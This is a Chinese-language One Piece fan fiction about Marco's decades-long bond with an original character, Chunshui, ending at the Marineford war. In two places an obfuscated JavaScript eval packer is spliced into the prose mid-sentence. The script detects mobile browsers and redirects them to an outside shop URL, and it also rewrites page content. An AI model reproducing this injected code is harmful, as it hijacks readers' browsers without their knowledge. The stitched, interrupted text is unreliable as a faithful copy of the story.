而且春水看得很分明,这人还没认真,像在逗孩子似的。 她挡在马尔科身前,不动声色地活动着僵硬的手指。 “春水——我很快,你再撑一会儿。” 马尔科正用再生之炎替乔兹治伤,这小子的武装色学的还不够精,每次遇见敌人还喜欢用身体硬接,因此总是最先受伤的那个。 真应该想办法给乔兹搞一个能让身体变得很硬、很结实的恶魔果实啊。 脑子里无边无际地想着,春水的手已经重新握紧太刀,冲上前去接下一记双斧的劈砍。 “不急,你自己小心。”她说,将马尔科和乔兹牢牢护在身后。 贾巴看着明明双手被震得颤抖,却连声音都稳得没什么变化的少女,眼里升起一抹赞赏。 这孩子,将来肯定会成为了不得的家伙的。 阅人无数的传奇航海士如是想着,挥手又是一斧:“小丫头,霸王色可不是你这么用的啊——” 经过三天三夜的“友好”切磋——主要是两位船长打得酣畅淋漓之后,盛大的宴会理所当然地开始了。 两船并靠,篝火燃起,酒肉飘香,欢笑声几乎要掀翻夜空。 已经能熟练运用从药典中学到的知识,马尔科忙着帮伙伴处理伤口,动作干脆利落。 他给乔兹胳膊上缠紧绷带,目光不自觉地开始寻找春水。扫过喧闹的篝火边缘,看到她正试图理顺那些纠缠的线团。 他知道,这是老爹最近交给她的任务,说是有利于果实能力觉醒。 但看这情况,效果堪忧啊。 春水的表情是难得的很鲜活,她确实从小就不擅长这类精细活。马尔科看着有点想笑,又有点习惯性地操心。 “可别一个不耐烦用蛮力给扯断了啊。”他想。 还没等他前去帮忙,就有个罗杰船上的小鬼犹犹豫豫地凑了过去,似乎是在说些什么。 马尔科在心里无奈地叹气:又是一个要被无视的倒霉蛋。 他加速手上的动作,想着马上去看看春水有没有伤口——再一抬头才发现那小子居然一屁股坐在了春水旁边! 而春水,非但没有像平时对待陌生人那样无视或直接走开,居然……居然把打了结的线递给人家,看样子还准备开始聊天了? 红发小鬼的手也很笨,很快把线卷了自己一身。春水看着他手忙脚乱转圈的模样,确确实实笑了。 ……她笑了……?笑得那么开心?……对一个陌生人? 马尔科几乎是愣在原地了。 ——他已经快大半个月没看到春水笑了! 平时想逗她笑比登天还难,这个红发小鬼,就因为……被毛线缠住这种事……? ……还有,她不是最讨厌和陌生人讲话吗?就连刚上船的新船员也是相处了很久才愿意回应几句的——今天太阳打西边出来了? 莫名的情绪涌上心头,像生吞了一颗未熟的果子,尚且年轻的马尔科并未深究这种情绪的来源。 他只下意识地有点在意……可能不只有一点。 他可能……相当在意,而且,相当不爽。 为什么他这么不高兴?奇怪。 马尔科深呼吸,强行把这种感觉压下去,告诉自己:“这是好事,春水那个臭脾气,能交到新朋友是好事。对,我是在为她高兴。” 他用手肘碰了碰单手抱着一只烤兽腿、啃得满嘴流油的乔兹,朝着角落努了努嘴,语气故作轻松:“看那边,春水好像……好像交到新朋友了yoi。” 乔兹茫然地抬起头,顺着方向看去,丈二和尚摸不着头脑:“啊?哦……他们在玩毛线吗?” 他完全没get到重点。 以藏噗嗤一声,毫不掩饰自己的嘲笑。比斯塔也凑了过来。 他一眼就看出端倪,笑容促狭,用肩膀撞了撞马尔科:“哟?居然能给春水逗笑,这么厉害吗这小子?不得了啊马尔科,不得了。” 被这两人看得不自在,马尔科心里那点不爽又升腾了起来。 他皱起眉,用力按下情绪,梗着脖子强调:“这、这说明她变开朗了yoi!是好事!” “是吗?”以藏挑眉,用意味深长的语气反问,“怎么总觉得有点酸溜溜的?” 马尔科的表情太过精彩。比斯塔笑得肚子发疼,配合地调侃:“喂,乔兹!你是不是把醋瓶子打翻了?” 乔兹咽下食物,一本正经地回答:“才不是我呢!” 比斯塔和以藏再也忍不住,哈哈大笑。 马尔科被他们笑得毛毛的,脸腾地烧了起来:“胡、胡说八道什么呢yoi!” 像在逃避什么一样,他迅速躲开他们的视线。比斯塔和以藏那两个看热闹的混蛋却不打算放过他,拉着他去找了还在喝酒的老爹。 两个少年压低声音,和纽盖特分享这个秘密:“老爹!你看!春水好像交到了个新朋友!” 不只是纽盖特,还在和他碰杯的罗杰、雷利和贾巴,以及喝的半醉的光月御田全都竖起耳朵,齐刷刷往那边看了过去。 雷利看了看被香克斯缠成一团的线,大概明白是发生了什么,笑得无奈:“想去帮人家,结果越帮越忙了,这小子。” 教导春水接近四年,早就摸透了她的性子,光月御田目露惊奇:“她居然在笑啊……这孩子不是挺排外的吗?” 罗杰大笑,带着毫不掩饰的骄傲:“哈哈哈我们香克斯可是很招人喜欢的!” 贾巴眯起双眼,目光在马尔科和春水之间转了转,看起来很努力地在憋笑。 纽盖特笑着喝完了杯里的酒:“库啦啦啦啦!这不是挺好的吗?” 都有着丰富的带孩子经历,几个大人顺势聊起了“育儿经”——正好光月御田最近在为自家儿子的教育缺失而烦恼。 而另一边,得到老爹的“认证”,马尔科心里那点不爽“腾”一下子扩大了。 他再次望向那个角落,看着香克斯手忙脚乱地试图解开缠住自己的线团,而春水居然就笑着坐在旁边看他,没有丝毫不耐烦。 “解个线团都这么费劲yoi。” 马尔科在心底默默吐槽,自己也说不清是在嫌香克斯手笨,还是别的什么。 他决定不再看那边,重新投入到热闹的宴会中。 ——只是心里某个角落,仿佛被那乱糟糟的毛线给缠住了,留下一个一时半会儿解不开的小疙瘩。 时间如同伟大航路的海流,头也不回地奔涌向前。再次见到罗杰,竟是两年后在东海那个名为罗格镇的地方。 被世人称为「海贼王」的男人自首了,世界政府选择对他公开处刑。 那天的雨下得极大,像是天空都要为之倾覆。铅灰色的云层低垂,压得人喘不过气。 纽盖特也来了罗格镇。但他没有去处刑台前——或许是无法亲眼见证一个时代以这种方式落幕,又或者,只是不忍面对老朋友的死亡。 他就近找了家酒馆,点了一杯罗杰最爱的酒,独自啜饮。 马尔科守在门口,看着雨点顺着屋檐,滴落成幕。 酒馆里空荡荡的,大部分人都去处刑广场了,包括比斯塔和以藏他们。 空气里弥漫着潮湿和一种难以言喻的沉重。 春水就在他不远处,轻盈地跃上了一处较高的屋檐,盘腿坐在那里。拜那一堆毛线所赐,她对果实的掌控已精进到令人惊叹的地步。 比如此刻,身处滂沱大雨中,她周身却仿佛有一个无形的屏障,雨滴尚未靠近她便悄然滑开。 她的目光穿透厚重的雨幕,遥遥望向广场中央高高的处刑台。 当罗杰那声大笑后的宣言响彻广场,引发山呼海啸般的狂热时,当那两柄处刑刀最终落下时,马尔科的心也随之一沉。 一个时代,就此终结了。 春水的视线扫过观众,看到了很多或熟悉或陌生的脸。她很快找到了处刑台下方,那个死死揪着草帽、哭得浑身颤抖、蜷缩成一团的身影上——是香克斯。 平放在膝盖上的右手缓缓张开,五指微不可查地勾动。 那片笼罩着香克斯的、本该无比冰冷的雨,仿佛被一只无形的手拨开。雨滴在他头顶上方悄然偏移,形成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要么同生,要么共死;绝对信任,绝对理解,如同共用一个大脑;超越了友谊、亲人、甚至是爱情这样被荷尔蒙促发的、单一的、浅薄的定义。 当身侧有彼此的存在,已经和呼吸一样自然。了解对方胜过了解自己——这就是两人宛如「共生」的关系。 像是并蒂而生的树,没了彼此绝对无法独自存活。 马尔科一直是这么认为的,他知道春水也是。 ——直到那个夜晚。 桑塔尼亚岛的采购任务接近尾声。夕阳将海面染成橘红,采购船缓缓驶离巷口。 马尔科将最后一批物资清点完毕,吆喝着船员们热热闹闹地固定货物。春水站在船尾,平静地望着逐渐远去的岛屿轮廓。 ——这似乎是会被淹没在万千个日常中的一个夜晚,一个再普通不过的夜晚。 春水带来的酒让老爹回忆起了年少时的时光。 看他心情大好,萨奇干脆在召集伙伴们在甲板上开启了巨石烤肉派对——他是三四年前上的船,厨艺精妙绝伦,有着能把普通食物变成珍馐的点金之手,是莫比迪克号上最棒的厨师。 酒意正酣,气氛热烈。 萨奇正大声炫耀他新搜罗到的稀有调料,乔兹非常配合地大口吞咽,以藏和比斯塔则在拼酒。 马尔科端着杯子,带着点烟熏味儿的威士忌有着独特的口感。周围人欢笑成一片,他却难得的有些走神。 ——下午,将酒桶带上船时,春水确实是在笑。 她不是外露情绪的人,连自己都没意识到的笑脸,肯定事出有因。 马尔科甩甩头,猛灌一大口酒。 萨奇喝得满面红光,搂着比斯塔的肩膀,大着舌头说起下午的见闻:“这酒,确实味道不错……嗝!怪不得老爹喜欢!说起来,下午买熏肉时还遇上了一伙儿海贼呢,他们也是专门来买酒的。” “确定是海贼?”比斯塔挑了挑眉。 萨奇放声大笑:“我是厨师,靠鼻子吃饭的——那带着草帽的红头发一闻就知道是海贼好不好。” ……草帽?红头发? 马尔科的动作一顿,眼前似乎闪过了一个身影。 篝火的边缘,将自己用红绳缠住的少年——他叫什么名字来着? 与他想到了一处,脑子最灵光的以藏翻了翻前些天送报鸟送来的一群新人海贼通缉令,收集信息是他最擅长的事。 “这位?”他从中准确无误地挑出了一张,比斯塔和乔兹也凑上前去。 “对。就是他。”萨奇又喝了一口酒,念出了通缉令上的名字。 ——“香—克—斯—” 与此同时,“咔嚓”一声轻响。 马尔科手中的酒杯,被他无意识收紧的手指捏出了一道细微的裂痕。酒液渗了出来,冰凉的触感让他猛地回神。 红发……买酒……春水……笑……这几个关键词瞬间串联起来,一个惊雷在他脑海中炸开! 六年前与罗杰海贼团激战后的夜晚,红发小子笨拙解线团的动作,和春水脸上难得的笑意。 四年前处刑台前,春水微微弯起的手指——那是她远距离使用能力的征兆。 马尔科从来没发现自己的记忆力竟然如此之好,能够不动声色地将所有关于春水的异常收集起来,如同拼图一样一一拼凑出一个结论。 「……果然,那个笑、那份特殊,又是因为遇见了香克斯吗。」 这个念头如同冰水浇头,让马尔科瞬间僵住。一股六年前发酵至今、再也压不住的情绪猛地从涌起,迅速席卷全身。 ——那是一种强烈的、不容置疑的在意、酸涩与不适。 为什么遇到香克斯她会笑? 他们说了什么? 他们说话时,春水也会和六年前一样带着笑意、耐心地坐在他身边吗? 一想到这儿,他几乎坐不住了,只想去瞭望台向春水好好问个清楚。 但随之而来的「为什么」,又将马尔科牢牢钉在原地。 为什么? 为什么春水为了另一个男人而心情很好,他会产生如此强烈的不适? 为什么发现了春水自己可能都没察觉到的,对香克斯的那份……算「特殊关照」也好、算「偏爱」也好,那份「与众不同」,会让他气得想要发疯? 那种感觉,远超了家人被“外人”吸引的不爽,更像是一种……被侵犯了领地的焦躁和失落。 这绝不仅仅是对家人、对妹妹的关心和保护欲! 其实马尔科明白,无关男女情爱,那份关注只是年长者的照拂——因为春水这个人,她根本就不明白所谓的「男女情爱」。 可是他明白。 这一刻,他产生的这种汹涌而至的独占欲,这种排他的情绪,分明就是……… 马尔科面色难看地将酒一口饮尽,几乎陷入了从未有过的慌乱中——他甚至不敢再想下去。 似乎有什么东西,在他毫无防备的时候,早就已经变质了。 那可是春水啊——! 是他答应过要一辈子照顾好的妹妹啊!! 怎么会对她产生那种念头?她是家人啊……太奇怪了!太不应该了! ……可是,那是春水啊。 他—— 想想也是啊。他…… 与她共生的他啊,无时无刻不在寻找着她的他啊,将她视为比一切都重要的他啊。 ——除了她,除了春水……怎么可能喜欢上别的人呢? 10. 马尔科视角3 心里藏着事时,喝酒会变得比平常急。不知不觉间,马尔科面前堆着的空酒杯已经超过了比斯塔。 ——酒壮人胆,说的大概就是这回事。 大概醉意已经麻痹了关于「羞耻」的情绪,他用力地清了清嗓子,支支吾吾地开始了他的表演:“咳……听我说,我……我有一个朋友yoi……” 哦豁。 经典开场。 ……这么烂的理由也亏他想得出来啊…… 老早就察觉到马尔科不对劲,因此默默替他倒上更多杯酒的兄弟们支楞着耳朵,猜到他终于憋不住了。 他们心知肚明,默契地没有拆穿。 马尔科见他们都期待地(?)望着自己,心一横,干脆和盘托出:“咳,他……他发现自己对一个像家人一样、一起生活了很多年的妹妹……产生了……不太一样的感情yoi。” 话音刚落,桌上一片寂静——就连最稳重的萨奇都屏住了呼吸。 良久,他第一个没忍住,“噗嗤”一声笑了出来,立刻被以藏狠狠地踩了一脚。 比斯塔努力绷着脸,但肩膀在微微抖动。连乔兹都嘴角抽搐地别过了头。 感觉到了他们明显得不能再明显的嘲笑,马尔科的脸瞬间涨得通红,梗着脖子强调:“别笑啊!是真的!我朋友——我朋友他真的很苦恼yoi!” “哦——朋——友——啊——”比斯塔拉长了声音,状似理解,“明白,明白。那你这位‘朋友’,对那个‘妹妹’,具体是怎么个……不一样?” 马尔科硬着头皮继续说:“就是……呃……看到她对别的男人笑就很不爽……非常不爽……希望她身边只有自己是「特殊」的那个……然后……希望能和她永远并肩战斗……不会有第三个人来打扰yoi……” 比斯塔强忍着笑意,捋着胡子,一本正经地分析:“哦?你这位‘朋友’……症状很典型嘛。这是开窍了呀!” 乔兹努力捧哏:“是不是就像……就像不想把自己最喜欢的肉分给别人的感觉?” 马尔科:“………差不多吧,但你这么说好奇怪yoi。” 萨奇好不容易止住笑,凑过来搂住马尔科的肩膀:“正常!这说明咱‘朋友’长大了!有眼光!春……啊不是,那姑娘多好啊!又强又漂亮,就是呆了点。” 以藏最是淡定,慢悠悠地抿了口酒,一针见血:“你‘朋友’今天是不是受了什么刺激?比如……‘妹妹’和什么人接触了?才突然发现这份亲情早就变质了?” “差、差不多吧yoi……那可是‘妹妹’啊……”马尔科猛地抬头,又迅速低下。他几乎是咬着牙说出“妹妹”这两个字,然后像泄了气的皮球一样耷拉下肩膀,“你们说……我朋友他是不是……是不是很混蛋?他怎么能有这种恶心的想法?” 看他脸色变幻,最后定格在了自我厌弃上,四个兄弟叹了口气。 “哎呀,这有什么!”萨奇终于忍不住,大手一拍马尔科的肩膀,用力揽住他,“喜欢就喜欢嘛!又不是亲妹妹!” 比斯塔也笑着拍他:“就是!‘妹妹’在你‘朋友’面前又那么乖,让干嘛就干嘛——近水楼台先得月这个道理你究竟懂不懂!” 乔兹用力点头:“对!感情的事,控制不住的——不混蛋。没有谁比你——啊,你‘朋友’,更适合她了!” 以藏则给出了更“实用”的建议:“可以先不动声色,慢慢渗透。比如……多创造身体接触的机会?” “……不过,你‘朋友’的‘妹妹’那种性格。”他意味深长地瞥了马尔科一眼,“可能需要非常、非常多的耐心——大概三四十年那样子吧。” 大家你一言我一语,热心肠地给马尔科的“朋友”支招。直到最后,他们都默契地没有点破那个显而易见的真相。 马尔科听着他们半真半假的建议和明目张胆的起哄,脸越来越红,最初的慌乱和羞愧却渐渐被一种温暖的窘迫所取代。 他知道自己的心思早就被看穿了,但这群混蛋选择了用这种方式陪着他。 ——为了维护着自己那点可怜的自尊心,同时也为了传递无声的支持: 「没关系,我们懂。这没什么大不了的。」 他又灌了一口酒,感觉脸上烧得厉害,但心里却奇异地轻松了不少。 那晚的最后,马尔科喝得酩酊大醉,是被乔兹扛回房间的。 他趴在乔兹宽阔的背上,还在迷迷糊糊地嘟囔:“你们说……我‘朋友’……怎么样才能让她……远离那个红头发……” 以藏看着他的睡颜,没忍住笑出声来:“还‘朋友’呢,这小子……” “他俩啊……”比斯塔掰着手指头给后上船的萨奇数着时间,“大概是十年前,马尔科替春水挡了一刀,她因此觉醒霸王色那时候——” “这么久才发现吗?”后者的震惊溢于言表,“这家伙究竟是有多迟钝啊?!!” “……他起码还发现了。”以藏伸手指了指瞭望台,窗户边映着个一遍一遍挥刀的身影,“那位,才是真的迟钝呢。” 比斯塔也望了过去,声音带着点感慨:“唉,马尔科……路还长着呢。” 而身处众人议论中心的春水,对这场因她而起的小小骚动一无所知。她只是隐隐觉得,从桑塔尼亚岛回来之后,马尔科好像有哪里不太一样了。 更具体的她也说不上来,就是……更啰嗦了,管得越来越多,也更……黏人了? 越来越频繁的肢体接触,有点像是回到了十几年前,刚上船时,他还很缺乏安全感的时候。 ——不过,她并不讨厌这种感觉。 她端着萨奇特制的醒酒汤,敲开了马尔科的房门,平静地替宿醉的男人揉按着太阳穴。 看着他越来越红的耳朵,春水如此想到: 只要马尔科在她身边,怎样都好。 ——只要是他,就很好。 自打那晚“我有一个朋友”的坦白局后,马尔科自知瞒不过去,索性摊牌了。 他不装了……也没什么好装的,总觉得这群人比他更早好些年就发现了。 为了好兄弟的终身大事,乔兹、比斯塔、萨奇和以藏自发组成了个特别行动小组,在今后长达二十余年里持之以恒地、以各种令人啼笑皆非的方式助攻。 ——当然,结果往往南辕北辙,闹出不少笑话就是了。 而且比起帮忙,这四个混蛋看热闹的成分居多。往往是丢下一句“马尔科说的”或“马尔科需要”,锅甩的飞起,关键时刻一个个跑得比谁都快。 最后还是得马尔科自己顶着春水那平静无波的双眼,硬着头皮为他们奇形怪状的攻略计划兜底。 比如,比斯塔信誓旦旦地说观测到千年难遇的流星雨,非得拉着春水和马尔科去甲板“浪漫共赏”。 结果莫比迪克号好巧不巧正处在巨大乌云下方,他见势不妙一秒溜走,留下两个人干巴巴地在雷云底下站着,看闪电照亮彼此的脸。 又是一声巨雷炸响,春水安安静静地看着他,什么也没问,什么也没说。 ……半个小时过去了,她还是安静地盯着他。 扛不住她的目光,马尔科捂着脸道歉:“……抱歉啊,春水。要不……要不你去训练吧yoi。” 春水又看了他一眼,没什么表情地走了。 望着她的背影,他发誓,早晚有一天会杀了比斯塔那家伙——真的,他发誓! 再比如,萨奇不知从哪座岛搞来一颗据说珍稀无比的恐龙蛋,兴冲冲地替马尔科送给春水当礼物。 “马尔科好不容易给你找的!”他说,费力地将蛋递给她。 虽然不知道他干嘛送这么大的蛋给她……但本着“马尔科这么做一定有他的道理”的基本原则,春水茫然地接过:“……好的,谢谢。” 是给她加餐吗……? 她以为那是吃的,正准备下锅,结果小恐龙提前破壳,嘹亮的叫声引来了愤怒的恐龙族群,差点把莫比迪克号咬穿。 兄弟们嗷嗷叫着四散奔逃,迅速飞来救场的马尔科拉住了准备拔刀的春水,将幼崽还给它们又疯狂道歉。 “………真的够了。”他想。 天知道后面还有什么计划在等着他。说真的,他已经开始后悔了。 最离谱的是那个「吃醋计划」。 这几个家伙找来了个人品不错,且对马尔科明显有好感的护士小姐,试图撮合他们,指望能让春水“开窍”——这种损招也能想的出来!! 结果当然是被马尔科发现了苗头。他第一时间找到护士小姐,老老实实、诚恳万分地解释清楚并附上郑重道歉,还意外收获了一群护士后援团“马尔科队长加油!”的打气。 被他们的助攻搞得心累不已,马尔科严重怀疑,这帮家伙纯粹是觉得他手忙脚乱的样子很有趣。 托他们的福,他和春水折腾了十多年也没有半点进步。 没、有、半、点、进、步——倒不如说,也亏的春水是个榆木筋肉脑袋,不然原地退后一百步也说不定。 再一次被兄弟们以开会为名,实则偷偷聚在船尾喝闷酒时,萨奇搂着马尔科的肩膀,半是安慰半是调侃: “要我说,你小子就别瞎折腾了,也别怪我们帮倒忙。你想想,要是别人敢这么三番五次耽误春水训练,她早就一脸‘我没兴趣’的表情走开了。” “可换成是你,你看她哪次不是耐心地陪你做完那些乱七八糟莫名其妙的事才离开——这不就已经足够说明你的「特殊性」了吗?” 马尔科:“………” 乱七八糟、莫名其妙、耽误训练……这些都怪谁啊?!!! 他端起酒杯一口喝光,狠狠地白了罪魁祸首之一的萨奇一眼。 比斯塔则是依旧对他的「吃醋计划」念念不忘——没错这个损招就是他想出来的:“哎呀!就差一点!马尔科你再坚持两天,说不定……” 他指的是马尔科在不知情时,本着队长和船医的负责态度,与那位护士小姐正常交流的那几天。 ——虽然他反应过来对方的好感后迅速澄清,拉远距离,划清界限,简直像是炸着毛跳脚的猫。 但…… “但那几天,我注意到了,春水织出来的杯垫,花纹扭曲的程度,确实比以往都更加丑——丑到不忍直视了。”他十分肯定地道。 马尔科:“………这究竟算是哪个国家的评价标准啊yoi!” 乔兹挠了挠头,似乎被他们搞晕了,真诚地发问:“所以……究竟要怎么样,才能算是你期待的‘更进一步的相处’啊?” 他这话一出,大家都安静下来,目光聚焦在马尔科身上。 比斯塔摸摸下巴:“肢体上……更亲密?亲密到能接吻、发生肉、体关系、孕育生命那种……?” 他问得直白,毫不意外地看到马尔科的耳根瞬间红透。 马尔科强迫自己冷静下来,试图把自己和春水代入到光月御田和依偎在他怀里的天月时的画面中,甚至想象春水手里抱着一个孩子…… “噫——!” 他顿觉一阵强烈的违和,大力摇头将那种恐怖的想象甩出去,“不行!绝对不行!那种未来,根本不适合我们yoi!” 光是想象就让他头皮发麻了!! 他脑子里的未来,只要和老爹、春水,和大家一起站在莫比迪克号的甲板上,白发苍苍地继续航行就好了。 以藏看穿了他的恶寒,叹了口气:“倒不如说,互相包扎过那么多次伤口,你们俩连对方身上哪里有几颗痣、哪道疤是什么时候留下的都知道得一清二楚吧。” 他顿了顿,抛出一个更尖锐的问题: “我说你啊,马尔科。见到春水身体的时候,你第一个想法是什么?” 对春水,一直习惯了亲力亲为、绝对不假手于人的马尔科,几乎是条件反射地以船医的角度给出了答复——他甚至就在一周前,还掀开春水的衣衫给她胸口上药来着。 “太瘦了,就说了应该多吃点肉的!而且伤口总是不及时说,仗着身体素质好就等着自然愈合,身上又多了几道疤!” “训练时太用力了,肌肉绷得太紧,要注意休息,不然过几天可能会拉伤。” “胸口看着有勒痕,负重训练时的哑铃系带该加宽了,不然磨破了怎么办——” 他像打开了话匣子,倒豆子一样抱怨着,全是操心。兄弟们的眼神则越来越无奈。 见他没完没了了,萨奇连忙开口制止:“所以说,没有一条是关于……脸红心跳什么的。人家赤、裸地站在你面前,你也没什么别的……反应喽?” “还能有什么……”马尔科下意识反驳,然后在几人逐渐下移的注视中,迅速反应过来,脸涨得通红,“你们几个怎么这么——这么龌龊!!” “龌龊?”比斯塔才是真的要叹气了,“这是正常人的生理反应吧。马尔科,你已经彻底代入「医生」和「老母亲」的角色里了。我看你还是放弃算了。” 其实想想也不意外。医生眼里,病人是无性别的,春水也是其中之一——往往是受伤最多那个。 作为「船医」、作为「兄长」,作为「家人」,每次掀开衣裤看到的都是裂开的皮肉、满身的疤痕,他完全升不起除了「担忧」和「心疼」以外的旖旎心思。 以藏很冷静地继续询问:“那么,没有情、欲,不会心动——你不觉得你俩现在的状态,更像是结婚几十年、无欲无求、只想陪伴彼此度过余生的‘老夫老妻’的状态吗?” 他这话点醒了其他人。 比斯塔想了想春水那一旦外放就再难收敛的、见了血的杀气,唯有在马尔科身边时会不自觉地收敛几分。 只有他能按住她出鞘半寸的刀,那是连她自己都未必察觉的松弛。 ——同为剑客,比斯塔懂那种毫无防备究竟意味着什么。 乔兹想了想马尔科每次受伤时,总是沉默地蹲在床边、寸步不离的春水。 她为数不多的几次剧烈情绪波动——愤怒、悲伤、乃至落泪,几乎都与马尔科或老爹的安危息息相关。 萨奇想了想遇到难题时,春水第一反应永远都是找马尔科,像是有他在一切难题都迎刃而解,哪怕是厨房里的问题也是一样(明明自己这个权威厨师就在一旁)——他想了想那份对彼此根深蒂固的依赖。 “是的。” “没错。” “不愧是你啊,以藏。” 三人很肯定地点了点头,一致赞同了这个观点。 十年过去了,半点没进展不说,还直接被兄弟们盖章定性为“老夫老妻”的马尔科:“………等等!怎么想都不对劲吧?!你好像直接跨过了谈恋爱、热恋、结婚等等所有步骤,一脚把我踹进养老院了啊yoi?!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493579|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以藏依旧小口小口抿着酒,语气平和而有力。 “马尔科。你一直执着于想要从春水身上也得到某种明确的、带有排他性的情感回应,比如嫉妒、羞涩或者炽热的告白……但你有没有想过,在她眼里,你们早就是彼此最「特殊」、也几乎是唯一的存在了?” “她可能从来没想过你会对另一个人比对她更「特殊」。也绝不会对任何一个人,比对你更「特殊」。” 他顿了顿,举例说明:“红发吗?她会上他的船,把他当作家人吗?她会抵着他高烧的额头,说‘没事的,有我在’吗?” “这……” 这当然不会。 意识到这一点,马尔科哑了。 萨奇拍了拍他的肩膀,收起了玩笑的神色:“以藏说得对。其实现在这样,已经是春水能给出的最热烈的回应了。” “这样不是挺好的。”比斯塔灌了口酒,“爱情最后也是会变成亲情的。你们只是起点太高,绕过了那些纠结试探的过程,比别人更快的走到终点而已。结果是好的不就行了?” 他们说的很详细了,乔兹也没什么好补充的了,他本来也不太擅长处理这些,只在旁边重重地点头。 马尔科被他们你一言我一语地围攻,心里那点因为模式“不正常”而产生的不甘和拧巴,仿佛被一只手轻轻抚平。 他张了张嘴,还想反驳,却发现无话可说。 或许……真的是他钻牛角尖了? 可能是当局者迷,旁观者清。 其实看着在别的事情上灵活通透的马尔科,唯独在春水面前笨拙吃瘪,也挺好玩的。 四人交换了一下眼神,心照不宣地继续倒酒。 他们相信,总有一天,马尔科会自己发现——原来很多年以前,他早就已经拥有了那个独一无二的答案。 时间在莫比迪克号上静静流淌,他们又收获了很多家人,年轻的血液不断注入。 六年前,香克斯凭着那股惊人的霸气跻身「四皇」。然而,与之相对的,是纽盖特越发危重的病情。 听着老人夜里止不住的咳嗽,马尔科的心总会随之揪紧。 作为船医,他是这艘船上最清楚老爹身体情况的人。他比谁都明白,那些年轻时累积的旧伤正凶猛反噬。 疾病缠身的老爹,确实在一步步走向生命的终点。 老爹走了以后,他们要怎么办呢? 失去了船长的莫比迪克号,还能航行下去吗? 春水同样能感觉到近在咫尺的别离——在这一点上,她总是比马尔科更敏锐。 她开始有意识地留在甲板上,坐在最高的地方,坐在老爹的身边,带着眷恋和不舍的神情,听老爹低声讲些年轻时的故事。 马尔科知道,春水也在不安——他们都在默默等那个终点。 直到那天,噩耗如同惊雷般传来——艾斯将被公开处刑。而老爹,毅然决然,选择倾尽所有,奔赴战场。 在决定开战前的一个夜晚,他们开了最后一次宴会,仿佛要为彼此注入最后的勇气。 春水难得喝了酒,像小时候一样坐在老爹肩头,晃荡着双腿。马尔科则变化形态,扇动着羽翼落在老爹另一侧肩膀上。 见证着那面由他们亲手绘制的海贼旗在风中猎猎作响,时隔三十余年,三个人久违地聊到了深夜。 纽盖特笑着同他们说了自己的决定:比起病痛缠身,衰弱而死,他宁愿为了拯救家人,毫无保留地战斗到最后一刻。 这是爱德华·纽盖特为自己的人生剧本,亲手写下的结局。 ——他选择了最喜欢、最满意的退场方式。 马尔科沉默地听着,他能看见春水眼底的泪光——因为他的视野也快模糊成了一片。 他们努力平复着几近失控的呼吸,然后,仿佛心有灵犀般,同时开口:“那让我们陪你走最后一程吧,老爹。” 纽盖特“库啦啦啦啦”地笑了,他没说什么,只是用那双大手,轻轻推了推这两个跟随他最久、也最让他放心不下的孩子: “去吧,你们俩——不早了,该去睡觉了。” 顶上战争,如同一场无法醒来的噩梦。 敌人强大得令人窒息——这也很正常,他们面对的,几乎是海军的全部精锐力量。 白胡子海贼团人数再多,终究只是一个海贼团,他们打得异常艰难。 老爹的战死,虽是意料之中,但当那一刻真正来临时,所有人都红了眼眶。 他那不屈的意志甚至驱动着早已被重创的身躯,操控着震震果实,将阻拦在马尔科面前的「黄猿」波鲁萨利诺狠狠轰入地底。 “去吧,马尔科,去帮春水一把。” ——如同在自己年少时的嘱托。那是马尔科听到的,来自老爹的、最后一句话。 春水已经疯了。 失去了老爹,失去了她最依赖的父亲,极致的悲痛化作了怒憎,笑声中是焚尽一切的癫狂。 这个人啊……马尔科看着春水那带着笑、却比哭泣更令人心痛的脸。她在笑着邀请他一起死。 用三十年的默契,用彼此都懂的仇恨,用那双第一次如此清晰地映满他身影的眼睛——她甚至没有犹豫,没有问一句“你愿不愿意”。 因为她知道,他也知道:他永远不会拒绝。 什么狗屁大将,什么顶上战争,在那一刻都变得无关紧要。 ——怎么可能让你一个人呢? ——既然不能一起生,那就一起死。我们三十多年前就约定好了的,不是吗? 死亡? 或许会怕吧。 但比起死亡,他更害怕的是,独自活在一个没有春水和老爹的世界里。 那才是真正的……地狱啊。 于是,在那摇摇欲坠的青炎壁垒下,在那漫天坠落的岩浆火雨中。 比任何时候都更加炽亮、更加耀眼的青炎猛地从马尔科体内爆发出来,如同凤凰涅槃,瞬间将两人吞没。最后的、仅剩的霸气毫无保留地奔涌而出。 没有恐惧,只有痛快。疲惫感被一种奇异的平静取代。 ——既然这就是我们的终点,那就一起走吧。 “在老爹面前,别告我的状啊,马尔科。” “说什么疯话呢,我会让他狠狠骂你的yoi!” 真是的。到最后也不知道说些好听的话——真是任性的家伙。 他啊,怎么偏偏就喜欢上了这么根又硬又直的木头呢? 青炎焚尽,凤凰印出! 透过封住他躯壳的寒冰,马尔科看着春水挥出那决绝的一刀。凛冽的刀光,一如多年前,她霸王色觉醒的那一天。 刀光闪过,赤犬的脸上还残留着惊愕,头颅已然冲天而起! ——一刀枭首。 血柱冲天而起,视野急剧模糊。马尔科知道,他们成功了。 他不知从哪儿来的力气,踉踉跄跄地冲向那个从半空坠落、浑身焦黑溃烂的身影,将她紧紧抱在怀里。 足以融化一切的高温岩浆近在咫尺,他们都已无力抵抗。 那么—— “如果要烧死她的话,先烧死我好了。” “至少,最后我们在一起。” 巨痛袭来,意识沉入黑暗前,马尔科收紧怀抱,与她紧紧相拥。 他唯一的念头竟是:“其实这样……也挺好的。” 11. 马尔科视角4 那样疯狂的报复,将己身燃尽的快意。说实在的,除了「共死」以外,马尔科从来没想过他们还会有第二种结局。 